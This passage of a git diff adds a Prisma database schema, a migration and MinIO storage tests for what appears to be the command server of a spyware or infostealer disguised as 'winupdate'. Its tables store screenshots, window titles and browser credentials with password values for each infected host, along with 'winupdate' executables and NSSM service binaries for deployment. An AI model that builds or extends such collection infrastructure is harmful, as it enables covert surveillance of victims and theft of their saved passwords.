is not empty. + - Added the required column `objectName` to the `screenshots` table without a default value. This is not possible if the table is not empty. + - Added the required column `objectName` to the `versions` table without a default value. This is not possible if the table is not empty. + +*/ +-- AlterTable +ALTER TABLE "nssm" ADD COLUMN "contentType" TEXT NOT NULL DEFAULT 'application/x-msdownload', +ADD COLUMN "fileSize" INTEGER NOT NULL DEFAULT 0, +ADD COLUMN "objectName" TEXT NOT NULL; + +-- AlterTable +ALTER TABLE "screenshots" ADD COLUMN "contentType" TEXT NOT NULL DEFAULT 'image/webp', +ADD COLUMN "fileSize" INTEGER NOT NULL DEFAULT 0, +ADD COLUMN "objectName" TEXT NOT NULL; + +-- AlterTable +ALTER TABLE "versions" ADD COLUMN "contentType" TEXT NOT NULL DEFAULT 'application/x-msdownload', +ADD COLUMN "fileSize" INTEGER NOT NULL DEFAULT 0, +ADD COLUMN "objectName" TEXT NOT NULL; + +-- CreateIndex +CREATE INDEX "nssm_objectName_idx" ON "nssm"("objectName"); + +-- CreateIndex +CREATE INDEX "screenshots_objectName_idx" ON "screenshots"("objectName"); + +-- CreateIndex +CREATE INDEX "versions_objectName_idx" ON "versions"("objectName"); diff --git a/prisma/migrations/migration_lock.toml b/prisma/migrations/migration_lock.toml new file mode 100644 index 0000000..044d57c --- /dev/null +++ b/prisma/migrations/migration_lock.toml @@ -0,0 +1,3 @@ +# Please do not edit this file manually +# It should be added in your version-control system (e.g., Git) +provider = "postgresql" diff --git a/prisma/schema.prisma b/prisma/schema.prisma new file mode 100644 index 0000000..e1dd118 --- /dev/null +++ b/prisma/schema.prisma @@ -0,0 +1,137 @@ +// This is your Prisma schema file, +// learn more about it in the docs: https://pris.ly/d/prisma-schema + +// Looking for ways to speed up your queries, or scale easily with your serverless or edge functions? +// Try Prisma Accelerate: https://pris.ly/cli/accelerate-init + +generator client { + provider = "prisma-client-js" +} + +datasource db { + provider = "postgresql" + url = env("DATABASE_URL") +} + +model Host { + id String @id @default(cuid()) + hostname String @unique + lastUpdate DateTime @default(now()) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + // Relations + records Record[] + credentials Credential[] + + @@map("hosts") +} + +model Record { + id String @id @default(cuid()) + hostname String + timestamp DateTime @default(now()) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + // Relations + host Host @relation(fields: [hostname], references: [hostname]) + windows Window[] + screenshots Screenshot[] + + @@index([hostname, timestamp]) + @@index([timestamp]) + @@map("records") +} + +model Window { + id String @id @default(cuid()) + recordId String + title String + path String + memory Int + + // Relations + record Record @relation(fields: [recordId], references: [id], onDelete: Cascade) + + @@map("windows") +} + +model Screenshot { + id String @id @default(cuid()) + recordId String + fileId String // 保持兼容性 + objectName String // MinIO 对象名称 + filename String + monitorName String + contentType String @default("image/webp") + fileSize Int @default(0) + + // Relations + record Record @relation(fields: [recordId], references: [id], onDelete: Cascade) + + @@index([objectName]) + @@map("screenshots") +} + +model Credential { + id String @id @default(cuid()) + hostname String + username String + browser String + url String + login String + lastSyncTime DateTime @default(now()) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + // Relations + host Host @relation(fields: [hostname], references: [hostname]) + passwords Password[] + + @@unique([hostname, username, browser, url, login]) + @@index([hostname]) + @@map("credentials") +} + +model Password { + id String @id @default(cuid()) + credentialId String + value String + timestamp DateTime @default(now()) + + // Relations + credential Credential @relation(fields: [credentialId], references: [id], onDelete: Cascade) + + @@map("passwords") +} + +model Version { + id String @id @default(cuid()) + version String + fileId String // 保持兼容性 + objectName String // MinIO 对象名称 + filename String + checksum String + contentType String @default("application/x-msdownload") + fileSize Int @default(0) + uploadTime DateTime @default(now()) + isLatest Boolean @default(false) + + @@index([objectName]) + @@map("versions") +} + +model Nssm { + id String @id @default(cuid()) + fileId String // 保持兼容性 + objectName String // MinIO 对象名称 + filename String + checksum String + contentType String @default("application/x-msdownload") + fileSize Int @default(0) + uploadTime DateTime @default(now()) + + @@index([objectName]) + @@map("nssm") +} \ No newline at end of file diff --git a/test-file-operations.ts b/test-file-operations.ts new file mode 100644 index 0000000..4b2ddcb --- /dev/null +++ b/test-file-operations.ts @@ -0,0 +1,84 @@ +#!/usr/bin/env bun + +import { storeFile, getFileByObjectName, deleteFile, getStorageStats } from './lib/fileStorage' + +async function testMinIOFileOperations() { + console.log('🚀 开始测试 MinIO 文件操作...') + + try { + // 测试截图文件上传 + console.log('\n📤 测试截图文件上传...') + const testImageData = Buffer.from('fake image data for testing') + const storedScreenshot = await storeFile( + testImageData, + 'test-screenshot.webp', + 'image/webp', + 'screenshot', + 'test-hostname' + ) + console.log('✅ 截图上传成功:', { + id: storedScreenshot.id, + objectName: storedScreenshot.objectName, + size: storedScreenshot.size + }) + + // 测试版本文件上传 + console.log('\n📤 测试版本文件上传...') + const testExeData = Buffer.from('fake exe data for testing') + const storedVersion = await storeFile( + testExeData, + 'winupdate-v1.0.0.exe', + 'application/x-msdownload', + 'version' + ) + console.log('✅ 版本文件上传成功:', { + id: storedVersion.id, + objectName: storedVersion.objectName, + size: storedVersion.size + }) + + // 测试文件下载 + console.log('\n📥 测试文件下载...') + const downloadedScreenshot = await getFileByObjectName(storedScreenshot.objectName) + if (downloadedScreenshot && downloadedScreenshot.buffer.equals(testImageData)) { + console.log('✅ 截图下载成功,数据一致') + } else { + console.log('❌ 截图下载失败或数据不一致') + } + + const downloadedVersion = await getFileByObjectName(storedVersion.objectName) + if (downloadedVersion && downloadedVersion.buffer.equals(testExeData)) { + console.log('✅ 版本文件下载成功,数据一致') + } else { + console.log('❌ 版本文件下载失败或数据不一致') + } + + // 测试存储统计 + console.log('\n📊 测试存储统计...') + const stats = await getStorageStats() + console.log('✅ 存储统计:', { + totalObjects: stats.totalObjects, + totalSize: `${(stats.totalSize / 1024).toFixed(2)} KB`, + bucketName: stats.bucketName + }) + + // 清理测试文件 + console.log('\n🗑️ 清理测试文件...') + const deleteScreenshotResult = await deleteFile(storedScreenshot.objectName) + const deleteVersionResult = await deleteFile(storedVersion.objectName) + + if (deleteScreenshotResult && deleteVersionResult) { + console.log('✅ 测试文件清理成功') + } else { + console.log('⚠️ 部分测试文件清理失败') + } + + console.log('\n🎉 MinIO 文件操作测试完成!') + + } catch (error) { + console.error('❌ 测试过程中出现错误:', error) + process.exit(1) + } +} + +testMinIOFileOperations().catch(console.error) diff --git a/test-minio.ts b/test-minio.ts new file mode 100644 index 0000000..99dcf57 --- /dev/null +++ b/test-minio.ts @@ -0,0 +1,28 @@ +#!/usr/bin/env bun + +import { initializeMinIO, testMinIOUpload } from './lib/minioClient' + +async function testMinIO() { + console.log('🚀 开始测试 MinIO 连接...') + + // 测试基础连接 + const connectionSuccess = await initializeMinIO() + if (!connectionSuccess) { + console.log('❌ MinIO 连接或配置有问题,请检查:') + console.log('1. MinIO 服务是否在 192.168.5.13:9000 运行') + console.log('2. 用户名密码是否正确') + console.log('3. bucket "winupdate" 是否已创建') + process.exit(1) + } + + // 测试上传下载 + const uploadSuccess = await testMinIOUpload() + if (!uploadSuccess) { + console.log('❌ MinIO 上传下载测试失败') + process.exit(1) + } + + console.log('🎉 MinIO 测试完全成功!可以开始使用了。') +} + +testMinIO().catch(console.error)